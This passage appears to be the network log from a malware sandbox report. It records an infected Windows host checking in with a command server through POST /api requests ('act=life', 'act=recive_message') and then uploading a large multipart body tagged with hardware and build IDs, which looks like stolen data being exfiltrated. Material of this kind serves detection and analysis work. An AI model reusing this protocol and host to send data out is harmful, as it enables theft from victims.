2024-05-24 11:43:00 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ok4dvpis0eqln9auum5bos2lkl; expires=Tue, 17-Sep-2024 05:29:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t0mwoHIW9LxgTfGBjUKMIMeUAw85gVtx5kqjZvWS2lJ64svq9WZWfK%2Ft76Poo%2BBKL3JN6hAVhwcgypIz7zSuVYBykxrV0N7IvFCP4QtTcDQtYQS2MIfEsrKN636vlamZfXMtzIAk3bjFMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d068a8f4b4257-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:43:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	63701	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:03 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:43:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:43:04 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=siiqfs502bo99pta1390eudf17; expires=Tue, 17-Sep-2024 05:29:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X2xo%2FjLpjk9rTuzjOikAksLOAKp9mmPSxJAN0gGORR0mj%2BhaIFdITq6TW0wjriQdtPeswSyqf0P60Tk2KyZznTAsXVZsjU8mJns2TMeiRHhxkliqXpW9Y1KsIJb6Ku3qegs6tuBSRdPu3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06a168de8c30-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:43:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	63703	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:06 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:43:06 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:43:06 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=99q2jj4tk59t4brt9ftehp72fj; expires=Tue, 17-Sep-2024 05:29:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jwgwJi9xVO%2FVm7b9Pop3r5aNBgaKEW%2Fp1RpNa5qRPukxUKFj8VxT6w0nxgksZbJJKPSANJ5SV3dHYsRZGfIh0XPF5eTBsrWfqxGehRisMyn%2B1tcnHVQK03DftB6WOyvaD56uH759dx9Ikw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06af4e8232d0-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:06 UTC	557	IN	Data Raw: 33 38 31 38 0d 0a 5a 68 50 74 48 61 51 30 42 55 36 6b 6b 52 31 7a 44 38 4d 65 46 75 4b 4c 36 65 36 34 4f 34 46 4e 51 49 46 49 31 6f 67 48 66 48 6f 64 4d 5a 73 2f 6e 67 41 70 62 4e 66 30 50 30 6c 37 73 57 74 7a 7a 71 6d 49 69 70 6f 42 35 79 77 73 38 69 33 36 71 6d 49 45 57 46 78 49 6c 6a 2f 42 57 69 64 30 68 76 52 33 45 57 36 76 66 48 65 4a 35 4a 6d 43 32 31 50 74 4b 69 6a 6b 4b 37 4c 70 61 78 45 66 41 33 61 4d 64 38 70 64 61 43 62 4a 73 7a 46 52 61 72 6b 38 4c 4d 44 47 6a 4a 72 5a 64 75 41 2b 4b 36 4d 31 2b 76 4d 6c 47 52 52 45 4b 63 39 38 77 56 5a 70 4b 4d 44 36 64 52 74 6e 70 33 31 79 69 50 75 41 69 4e 42 54 34 79 6b 70 37 69 4b 6d 35 47 45 57 46 41 56 38 6a 44 2b 49 46 6d 41 30 68 71 73 2f 51 6c 2b 69 62 57 57 56 35 4a 75 4b 6d 6b 61 74 4e 6d 4c 6b 4a Data Ascii: 3818ZhPtHaQ0BU6kkR1zD8MeFuKL6e64O4FNQIFI1ogHfHodMZs/ngApbNf0P0l7sWtzzqmIipoB5yws8i36qmIEWFxIlj/BWid0hvR3EW6vfHeJ5JmC21PtKijkK7LpaxEfA3aMd8pdaCbJszFRark8LMDGjJrZduA+K6M1+vMlGRREKc98wVZpKMD6dRtnp31yiPuAiNBT4ykp7iKm5GEWFAV8jD+IFmA0hqs/Ql+ibWWV5JuKmkatNmLkJ
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 6c 41 56 59 64 4d 59 68 7a 68 67 34 6e 49 73 50 38 62 52 42 2f 70 48 4a 6d 6a 4f 79 4e 67 64 6c 58 34 79 6f 6c 37 69 53 79 37 57 59 57 48 41 56 2f 67 33 58 46 55 6d 52 73 69 4c 4e 34 43 53 33 35 50 45 57 44 37 59 79 65 32 56 65 6a 4d 47 7a 36 61 72 50 6d 4a 55 5a 59 44 6e 65 43 64 73 31 52 62 79 44 55 2b 48 41 53 5a 4b 5a 36 66 6f 50 68 67 59 72 55 57 4f 51 71 4a 66 45 6b 76 2b 64 6d 46 42 35 45 50 38 39 34 33 68 59 2f 62 4f 6a 77 62 67 64 66 6f 6d 31 6c 77 50 62 46 6c 5a 70 65 37 32 39 36 6f 79 4f 38 35 57 67 54 45 67 70 30 67 6e 62 48 56 32 6f 71 7a 66 4a 33 47 57 6d 6d 66 48 43 4e 35 6f 57 4d 31 46 48 6d 4b 79 6a 71 61 76 71 71 59 67 5a 59 58 44 47 2f 63 73 70 64 61 32 37 7a 38 48 45 66 61 72 63 38 61 38 37 77 79 34 76 57 47 62 74 76 4d 4f 67 6e 74 65 Data Ascii: lAVYdMYhzhg4nIsP8bRB/pHJmjOyNgdlX4yol7iSy7WYWHAV/g3XFUmRsiLN4CS35PEWD7Yye2VejMGz6arPmJUZYDneCds1RbyDU+HASZKZ6foPhgYrUWOQqJfEkv+dmFB5EP8943hY/bOjwbgdfom1lwPbFlZpe7296oyO85WgTEgp0gnbHV2oqzfJ3GWmmfHCN5oWM1FHmKyjqavqqYgZYXDG/cspda27z8HEfarc8a87wy4vWGbtvMOgnte
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 53 6a 47 49 5a 34 59 4f 4a 78 72 57 2f 6e 4d 2f 5a 71 31 31 4e 4a 2b 6e 6b 73 7a 64 56 61 4e 33 59 75 63 6d 76 4f 42 71 46 78 49 4f 66 6f 5a 2f 7a 6c 39 75 4c 38 62 2f 65 52 42 68 72 58 46 78 67 2b 79 47 69 64 70 56 35 43 67 6a 6f 32 54 30 37 58 31 65 51 45 52 42 67 6e 50 4e 57 69 55 5a 78 66 31 78 46 6e 76 68 59 7a 71 5a 71 59 79 41 6d 67 47 6a 49 43 50 75 49 4c 2f 6b 61 52 38 59 41 48 4b 46 66 38 6c 54 59 53 54 50 38 32 30 57 59 71 42 39 66 34 76 6b 68 59 6e 62 58 4f 52 76 62 4b 4d 74 72 4b 6f 39 58 6a 55 74 53 38 39 67 69 45 38 6e 4b 38 71 7a 4a 31 46 70 71 33 78 35 69 75 4b 45 6a 39 31 58 34 79 49 6f 38 53 4b 30 36 6d 73 59 47 51 68 30 6a 6e 50 46 52 47 73 71 79 2f 56 33 41 79 33 76 50 48 4f 59 71 64 50 4d 2b 6c 4c 76 4c 43 37 69 4c 66 62 4c 62 78 30 Data Ascii: SjGIZ4YOJxrW/nM/Zq11NJ+nkszdVaN3YucmvOBqFxIOfoZ/zl9uL8b/eRBhrXFxg+yGidpV5Cgjo2T07X1eQERBgnPNWiUZxf1xFnvhYzqZqYyAmgGjICPuIL/kaR8YAHKFf8lTYSTP820WYqB9f4vkhYnbXORvbKMtrKo9XjUtS89giE8nK8qzJ1Fpq3x5iuKEj91X4yIo8SK06msYGQh0jnPFRGsqy/V3Ay3vPHOYqdPM+lLvLC7iLfbLbx0
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 33 48 42 57 47 73 69 79 2f 6c 38 48 43 33 76 50 48 4f 59 71 64 50 4d 39 6c 37 75 41 53 6e 76 4c 66 54 31 4b 77 64 59 41 33 33 50 4a 34 5a 61 62 53 44 50 38 33 59 55 5a 61 70 31 63 59 48 69 6a 6f 2f 63 56 4f 77 6d 4d 4f 6b 70 75 75 6c 70 45 68 34 46 63 70 31 33 7a 78 59 70 62 4d 48 72 50 30 6b 74 67 48 4a 35 6c 4f 36 62 7a 4d 55 58 2b 6d 38 6c 37 32 72 73 71 6d 59 66 46 77 64 77 67 6e 6e 50 58 6d 63 71 77 2f 78 79 48 32 71 6d 66 48 6d 4f 35 6f 32 45 31 31 58 6f 49 53 76 6c 4b 72 58 67 4a 56 42 59 41 32 6e 50 4a 34 5a 6d 5a 43 7a 47 36 44 38 4f 49 37 67 38 63 34 79 70 30 38 7a 49 55 2b 6f 76 49 65 77 74 73 4f 46 70 47 78 30 4c 63 6f 5a 36 7a 31 68 31 4a 63 6a 37 64 78 35 6f 71 6e 78 35 69 75 57 4c 6a 35 6f 58 6f 79 67 36 6f 33 4c 30 32 47 67 53 44 67 4e 2b Data Ascii: 3HBWGsiy/l8HC3vPHOYqdPM9l7uASnvLfT1KwdYA33PJ4ZabSDP83YUZap1cYHijo/cVOwmMOkpuulpEh4Fcp13zxYpbMHrP0ktgHJ5lO6bzMUX+m8l72rsqmYfFwdwgnnPXmcqw/xyH2qmfHmO5o2E11XoISvlKrXgJVBYA2nPJ4ZmZCzG6D8OI7g8c4yp08zIU+ovIewtsOFpGx0LcoZ6z1h1Jcj7dx5oqnx5iuWLj5oXoyg6o3L02GgSDgN+
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 56 75 4b 38 37 2f 64 52 4a 71 34 54 49 30 68 2f 48 4c 31 4a 70 36 39 44 38 76 6f 7a 58 36 38 79 55 5a 46 45 51 70 7a 33 66 4c 58 6d 30 6f 77 66 35 34 46 32 53 7a 64 58 47 4f 36 59 2b 48 31 56 2f 6e 4c 43 4c 78 4c 4c 44 69 5a 68 4d 56 43 6e 4b 4c 50 34 67 57 59 44 53 47 71 7a 38 6a 59 4b 39 6e 65 34 66 34 67 63 7a 46 46 2f 70 76 4a 65 39 71 37 4b 70 68 45 41 6f 50 63 49 52 30 79 46 46 6f 4b 63 7a 7a 63 42 56 75 72 33 64 31 67 2b 47 47 67 64 52 54 36 69 59 6c 37 79 36 7a 71 69 74 65 48 78 77 78 31 7a 2f 74 64 30 6f 41 77 65 6b 2f 44 69 4f 34 50 48 4f 4d 71 64 50 4d 31 6c 44 76 4a 53 6e 6b 49 4c 72 6a 61 78 55 4b 46 6e 4b 4c 66 4d 39 56 59 43 58 49 38 33 67 55 59 36 5a 39 66 34 54 6a 69 49 71 61 46 36 4d 6f 4f 71 4e 79 39 4d 5a 6d 48 68 55 65 4d 5a 41 78 33 Data Ascii: VuK87/dRJq4TI0h/HL1Jp69D8vozX68yUZFEQpz3fLXm0owf54F2SzdXGO6Y+H1V/nLCLxLLDiZhMVCnKLP4gWYDSGqz8jYK9ne4f4gczFF/pvJe9q7KphEAoPcIR0yFFoKczzcBVur3d1g+GGgdRT6iYl7y6zqiteHxwx1z/td0oAwek/DiO4PHOMqdPM1lDvJSnkILrjaxUKFnKLfM9VYCXI83gUY6Z9f4TjiIqaF6MoOqNy9MZmHhUeMZAx3
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 55 38 48 41 65 61 61 46 7a 63 6f 62 6f 68 49 72 64 55 4f 49 6e 4a 61 4e 6b 39 4f 31 39 58 6b 42 45 58 34 68 38 77 68 5a 34 59 74 2b 7a 65 42 30 74 2b 54 78 30 69 75 4f 42 67 74 70 65 38 53 6b 72 34 79 6d 6d 36 57 4d 57 48 67 68 39 67 6e 66 50 56 6d 49 6e 79 2f 68 79 46 32 32 71 66 54 54 4f 71 59 79 55 6d 67 47 6a 48 69 2f 74 4c 72 72 70 64 52 6c 59 47 7a 2b 57 50 38 46 61 4a 33 53 47 2f 48 59 44 61 71 52 30 66 59 44 6e 67 6f 58 64 58 65 41 75 4a 75 38 6c 76 65 6c 74 48 78 41 4c 63 6f 39 30 7a 6c 78 6d 49 73 4f 7a 4d 56 46 71 75 54 77 73 77 4d 61 49 69 64 46 59 6f 51 67 6b 35 43 62 30 39 53 73 48 57 41 4e 39 7a 79 65 47 56 57 4d 69 7a 2f 78 37 47 32 71 68 65 33 4b 41 34 59 43 42 30 55 76 6d 49 53 66 69 4b 72 58 6c 61 52 34 4b 41 58 2b 45 63 73 49 57 4b 57 Data Ascii: U8HAeaaFzcobohIrdUOInJaNk9O19XkBEX4h8whZ4Yt+zeB0t+Tx0iuOBgtpe8Skr4ymm6WMWHgh9gnfPVmIny/hyF22qfTTOqYyUmgGjHi/tLrrpdRlYGz+WP8FaJ3SG/HYDaqR0fYDngoXdXeAuJu8lveltHxALco90zlxmIsOzMVFquTwswMaIidFYoQgk5Cb09SsHWAN9zyeGVWMiz/x7G2qhe3KA4YCB0UvmISfiKrXlaR4KAX+EcsIWKW
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 58 79 32 75 50 43 79 35 71 63 50 4d 35 52 65 6a 4e 32 4b 37 61 6f 48 70 61 78 41 66 45 6d 44 43 58 4e 42 62 61 43 66 48 73 7a 46 52 61 2b 45 6b 4a 4d 36 70 6a 35 32 61 41 62 4e 39 65 62 5a 35 34 37 6f 33 41 56 59 64 4d 5a 6b 2f 6e 67 51 70 62 4e 53 7a 4a 31 45 71 72 33 46 31 67 2b 65 49 6e 73 68 66 34 44 6b 68 70 42 53 4b 79 32 67 56 46 41 6c 2b 68 45 48 34 64 32 6f 6e 79 76 35 77 47 6c 4f 66 61 58 65 4f 35 34 79 61 79 78 6d 74 62 79 32 6a 63 6f 32 71 4c 56 34 6e 53 6a 47 58 50 35 34 57 55 69 2f 49 2f 58 67 48 66 4f 78 64 65 59 76 6c 68 6f 50 52 47 61 31 76 4a 4b 4e 79 35 4b 51 6c 47 67 6c 45 4b 64 38 74 6e 51 4d 30 65 35 61 68 59 46 39 30 34 57 6f 30 32 4c 76 46 7a 4d 67 5a 75 32 39 6c 34 44 69 6d 37 47 59 49 47 30 4e 50 73 56 7a 52 51 47 30 33 68 4e 56 Data Ascii: Xy2uPCy5qcPM5RejN2K7aoHpaxAfEmDCXNBbaCfHszFRa+EkJM6pj52aAbN9ebZ547o3AVYdMZk/ngQpbNSzJ1Eqr3F1g+eInshf4DkhpBSKy2gVFAl+hEH4d2onyv5wGlOfaXeO54yayxmtby2jco2qLV4nSjGXP54WUi/I/XgHfOxdeYvlhoPRGa1vJKNy5KQlGglEKd8tnQM0e5ahYF904Wo02LvFzMgZu29l4Dim7GYIG0NPsVzRQG03hNV
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 44 77 38 77 4e 62 46 7a 4d 49 5a 75 32 38 58 34 43 53 36 37 58 4d 50 56 53 46 6d 6a 47 2f 41 56 53 64 69 68 76 55 2f 53 54 33 76 50 48 43 52 71 64 50 63 69 41 4b 32 66 48 57 7a 65 4b 75 6b 66 46 34 4f 52 43 6e 64 4d 59 5a 45 4a 33 53 47 74 48 77 44 66 36 64 2f 59 6f 4f 75 74 62 4c 38 57 76 49 6c 41 2b 34 36 73 39 52 62 43 78 73 4b 66 34 68 70 31 78 59 70 62 4d 6d 7a 4a 79 67 74 36 54 42 79 67 2f 2f 4c 73 35 51 5a 2b 32 39 36 6f 78 2b 33 35 47 73 5a 44 68 55 38 71 58 7a 58 58 45 59 68 31 76 51 2f 58 79 32 6e 50 43 7a 54 70 38 75 49 79 78 6d 37 66 33 43 34 66 2b 65 39 4e 55 77 48 53 6d 6a 50 61 59 59 4f 4e 57 4b 47 34 54 39 4a 4c 65 5a 2f 5a 70 4c 76 69 4a 72 5a 48 74 30 52 46 2b 41 6b 75 75 31 7a 4b 78 73 56 63 6f 39 30 2b 47 68 47 49 73 33 30 63 77 64 54 Data Ascii: Dw8wNbFzMIZu28X4CS67XMPVSFmjG/AVSdihvU/ST3vPHCRqdPciAK2fHWzeKukfF4ORCndMYZEJ3SGtHwDf6d/YoOutbL8WvIlA+46s9RbCxsKf4hp1xYpbMmzJygt6TByg//Ls5QZ+296ox+35GsZDhU8qXzXXEYh1vQ/Xy2nPCzTp8uIyxm7f3C4f+e9NUwHSmjPaYYONWKG4T9JLeZ/ZpLviJrZHt0RF+Akuu1zKxsVco90+GhGIs30cwdT
2024-05-24 11:43:06 UTC	1369	IN	Data Raw: 50 2f 69 4d 79 55 47 66 74 76 65 71 4d 65 76 2f 35 6d 45 42 34 50 4d 5a 41 78 33 78 5a 78 62 4a 36 67 4d 56 46 2f 34 53 51 30 78 2b 65 47 6a 64 6c 58 34 44 30 77 35 53 6d 69 36 53 49 67 4a 6c 55 6c 33 56 2f 57 57 33 49 39 77 65 4e 42 4c 30 32 78 63 57 47 52 37 70 75 79 35 47 37 79 4b 44 4b 68 44 4c 66 38 5a 6c 35 57 52 47 6e 50 4a 34 59 48 4d 33 37 6d 34 33 49 45 66 4b 5a 73 4e 4a 2b 6e 6b 73 7a 4d 47 62 74 38 62 4b 4d 34 39 4c 49 6c 57 52 59 4a 63 49 78 78 78 55 52 31 4b 73 58 6c 66 46 5a 54 6e 31 31 35 67 63 69 47 6a 65 52 6e 77 7a 38 76 39 6a 75 7a 2b 6c 73 67 4c 78 56 32 6e 7a 33 67 56 58 45 76 68 72 30 2f 43 53 33 35 50 46 57 4e 36 4b 71 42 32 78 6e 38 59 54 75 6a 50 50 53 79 4e 56 42 59 46 6a 48 58 50 34 46 56 64 54 37 41 38 47 6b 53 4b 70 39 43 57 Data Ascii: P/iMyUGftveqMev/5mEB4PMZAx3xZxbJ6gMVF/4SQ0x+eGjdlX4D0w5Smi6SIgJlUl3V/WW3I9weNBL02xcWGR7puy5G7yKDKhDLf8Zl5WRGnPJ4YHM37m43IEfKZsNJ+nkszMGbt8bKM49LIlWRYJcIxxxUR1KsXlfFZTn115gciGjeRnwz8v9juz+lsgLxV2nz3gVXEvhr0/CS35PFWN6KqB2xn8YTujPPSyNVBYFjHXP4FVdT7A8GkSKp9CW

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	63702	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:06 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 379739 Host: employhabragaomlsp.shop
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: 13 15 09 07 d8 ff 75 3e 71 cf f2 b9 8b 5e 40 b6 ed ca 9d 15 01 91 bd 31 17 97 db fb 4b 68 61 16 8b 07 ae db 1e bd 9c 28 20 99 8e 00 64 19 06 84 11 a1 78 e1 e5 2c 56 2e 80 35 f5 42 27 dd 7c fc 99 97 7f 41 ef 33 f3 93 55 32 10 a7 6b 9e 02 b4 0c 34 3b e6 d1 93 59 33 79 0d bd 32 0d d6 03 bf 6e 70 b6 ae 0d 62 73 4d 5e 03 04 42 ef 51 04 3b e2 b0 fc 31 e8 9b 18 cd c5 df e8 58 26 ff ef 93 68 d6 01 4e 83 d1 69 4b 83 e4 14 3f 0f d8 a0 48 81 b1 24 79 a9 15 0e 0e ea f0 4e d1 06 2d 29 37 8d 53 b7 17 54 bb 26 c0 53 5f 73 1c 53 c8 3a 44 b4 a1 b8 9b f4 ac 49 bd 9f 90 cf 90 71 67 75 63 bc 01 8b 05 62 69 96 70 f8 e3 e1 81 63 31 09 7b 99 ed f2 0a 9a ee c2 9e 67 a3 45 d6 f2 57 9a c0 0a de 9c 9c d2 27 39 eb 5b a1 2e 10 d7 f0 42 ca 3e 72 91 b2 b5 ba e5 b2 4d 4e c4 34 58 14 99 Data Ascii: u>q^@1Kha( dx,V.5B'\|A3U2k4;Y3y2npbsM^BQ;1X&hNiK?H$yN-)7ST&S_sS:DIqgucbipc1{gEW'9[.B>rMN4X
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: c7 2a bc e8 a6 27 bf a8 b5 a1 04 b0 28 2b 15 66 7d 5d 89 f0 bc e0 33 29 de fe ac 03 f5 a8 4a c3 81 e2 1c ef 5c fe d9 ec e6 56 81 c0 88 a9 e2 f8 2b a7 0e 8e ea bd 4f f4 5b a5 c0 d0 8f a3 56 56 b4 32 fc 52 db da 72 dc cd 2b c9 4a 67 11 25 85 e8 b7 7c 43 af e7 f2 e0 a7 35 15 63 80 39 1e af 06 a3 c8 c9 c1 fb ef 58 26 ef 0f 6b 07 13 67 61 ef 58 58 c6 bd b6 7b 1f 75 34 4f 37 d7 c9 0d c2 38 7a 8d 1b e0 41 9d b9 dd f3 4b d7 5b 42 db 1e ef 21 b7 77 a6 16 1c 3c a1 9f a5 c2 35 04 6f 30 1a ab 29 6d 89 f4 62 fd c5 84 fb 6d 63 5d b0 30 92 c7 3c a4 79 cf c6 96 48 fd 9a 28 65 a2 31 d9 02 a6 f0 d1 5a 9e 33 bd c5 65 0e 98 56 ac 3f d8 9a 6b 75 0d 0c 31 4c fe 96 a6 18 b3 12 58 68 d2 91 a1 2a 95 11 c4 5f 50 79 05 43 6c 5f 14 43 17 f5 bf 32 49 36 2e 7d 4f 1c 35 de 9c e8 75 df Data Ascii: '(+f}]3)J\V+O[VV2Rr+Jg%\|C5c9X&kgaXX{u4O78zAK[B!w<5o0)mbmc]0<yH(e1Z3eV?ku1LXh_PyCl_C2I6.}O5u
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: 80 08 1c 07 c0 d6 3c cf bf d4 f3 ee 9c 79 8a 60 2c 8b 1f ea 12 92 74 1f 7b 79 14 e4 4c 25 4e e0 ab 72 bd 70 ee a7 ec ec 8f 32 bd f1 a4 98 1d 7d 40 d1 da 45 ac c8 8b 50 3d ca 59 3d f0 eb fe 52 af d7 d5 65 90 e1 2b b1 89 6c df 6f bd a6 4f fd f4 aa b6 b8 2b 0a 85 8e 79 0d 5b f6 fa 4e 8f b6 75 fc 66 33 3c 60 7d 61 57 f8 f8 a6 84 04 43 a7 e4 b9 98 59 db 7b bf e6 48 56 e3 e5 be 2f ef 05 6c 3e b8 34 97 ee ba 6f 35 b3 66 bf e7 b7 7c a4 a2 14 2f 94 3f c9 e3 7b e2 1e fe 74 ac cc 41 f0 7a 43 18 7d 30 8f 71 c3 d8 06 95 b8 27 bf 6c 28 cd 9c 43 08 9d 70 4f ea d4 aa 67 05 b1 b7 b5 20 b2 ca 83 e6 64 e4 c1 7b ee e9 c0 a0 f4 75 2e 5f 83 16 af 5d d9 a0 f1 c9 17 7a 4a b1 bc 69 06 b5 50 a7 44 8c 73 1f e5 24 89 f1 99 29 f8 2a 35 df ec a3 6a 09 bd 4a 09 74 3e f3 8e 4f aa 5c ab Data Ascii: <y`,t{yL%Nrp2}@EP=Y=Re+loO+y[Nuf3<`}aWCY{HV/l>4o5f\|/?{tAzC}0q'l(CpOg d{u._]zJiPDs$)*5jJt>O\
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: 2c 55 ee 37 0a 33 69 8a a6 b9 d6 cd bf b4 0e b9 68 74 96 ae 31 29 a3 94 75 28 50 08 d8 65 ba 36 51 7d 52 92 9d 7d 2d 85 ae d2 34 0e 0a 15 fe f4 79 18 98 16 b8 de 6e 78 5d ab ce 79 e9 74 ba ab 26 43 66 32 1c 74 f1 a5 9c f2 38 c3 c7 96 1e 70 81 25 74 2c e2 fd 46 13 01 e0 f8 b9 10 ee fe f8 bb 3f 4f ab 7a 5f fd f2 3c c4 67 a0 90 db 65 a4 af 14 00 fd 8b 06 a0 58 01 58 ab 24 45 f8 3c 6a 06 98 fb 77 f5 23 5d dc 63 f3 2f f0 8c f7 83 a6 da a9 64 98 cd 30 9c 10 28 87 e4 81 32 b8 ee f6 ab d2 9f 40 16 9d 57 ea 63 f0 99 8a 92 e0 a2 09 94 31 ce 57 c6 16 cd 5f 34 68 fb 13 2e 69 ca 80 d1 d6 8a b5 03 21 d1 ee 7d 8a e3 f1 32 e4 b1 95 5c 8a 02 58 52 2c 3d dd 3a 4f 3a f7 7b 09 e2 3b 6d 5b 09 86 c6 6a 6a d6 72 01 5a 10 47 a7 4d db 3a b2 5f b1 e9 1a 01 cb d1 d7 a1 28 5b 48 b7 Data Ascii: ,U73iht1)u(Pe6Q}R}-4ynx]yt&Cf2t8p%t,F?Oz_<geXX$E<jw#]c/d0(2@Wc1W_4h.i!}2\XR,=:O:{;m[jjrZGM:_([H
2024-05-24 11:43:06 UTC	15331	OUT	Data Raw: 20 3c f6 e3 46 67 cf 6f 3a 0e 5b 34 cb 0d f1 6b e6 df e2 58 e6 50 f1 f0 d4 a5 11 3b ae a3 23 c6 84 76 0c f3 0b 71 3b 8d 5f eb 64 43 1d 61 94 84 8c 0a de 8d 6d 24 7c 32 fe 82 0d 35 ea 17 5f a5 e5 6c 23 48 07 f5 87 a1 b8 b4 25 7b 2e f5 87 1e 37 8f a4 a4 33 5e ab a3 73 f7 91 5d b7 c6 2e 79 d0 06 fc 28 83 52 3d c3 44 6d 25 5d 29 87 07 dc 5c b6 1d 04 07 f5 c4 c0 c5 ed 73 02 bc 72 7d 1f 63 76 85 fd 09 2a fe 45 66 42 8c b7 ae 45 01 25 f3 b5 66 5c 51 e5 4f f8 f6 b4 dd cd 6b 97 ba d5 4e b8 75 cf d3 dc 8b ca 95 22 36 40 8a 81 14 38 0a 78 8b c9 75 38 54 c3 8b 05 7e 61 d6 d8 d7 05 99 8e 2f 71 3a 7d 3a dc b7 b8 a7 33 af 75 d1 1b ba e8 41 a0 55 d1 fe e0 23 a8 98 16 74 45 86 f0 a4 05 14 f8 c1 c4 2b 7f 62 5e 93 21 88 6f de 52 00 50 c7 01 60 a4 11 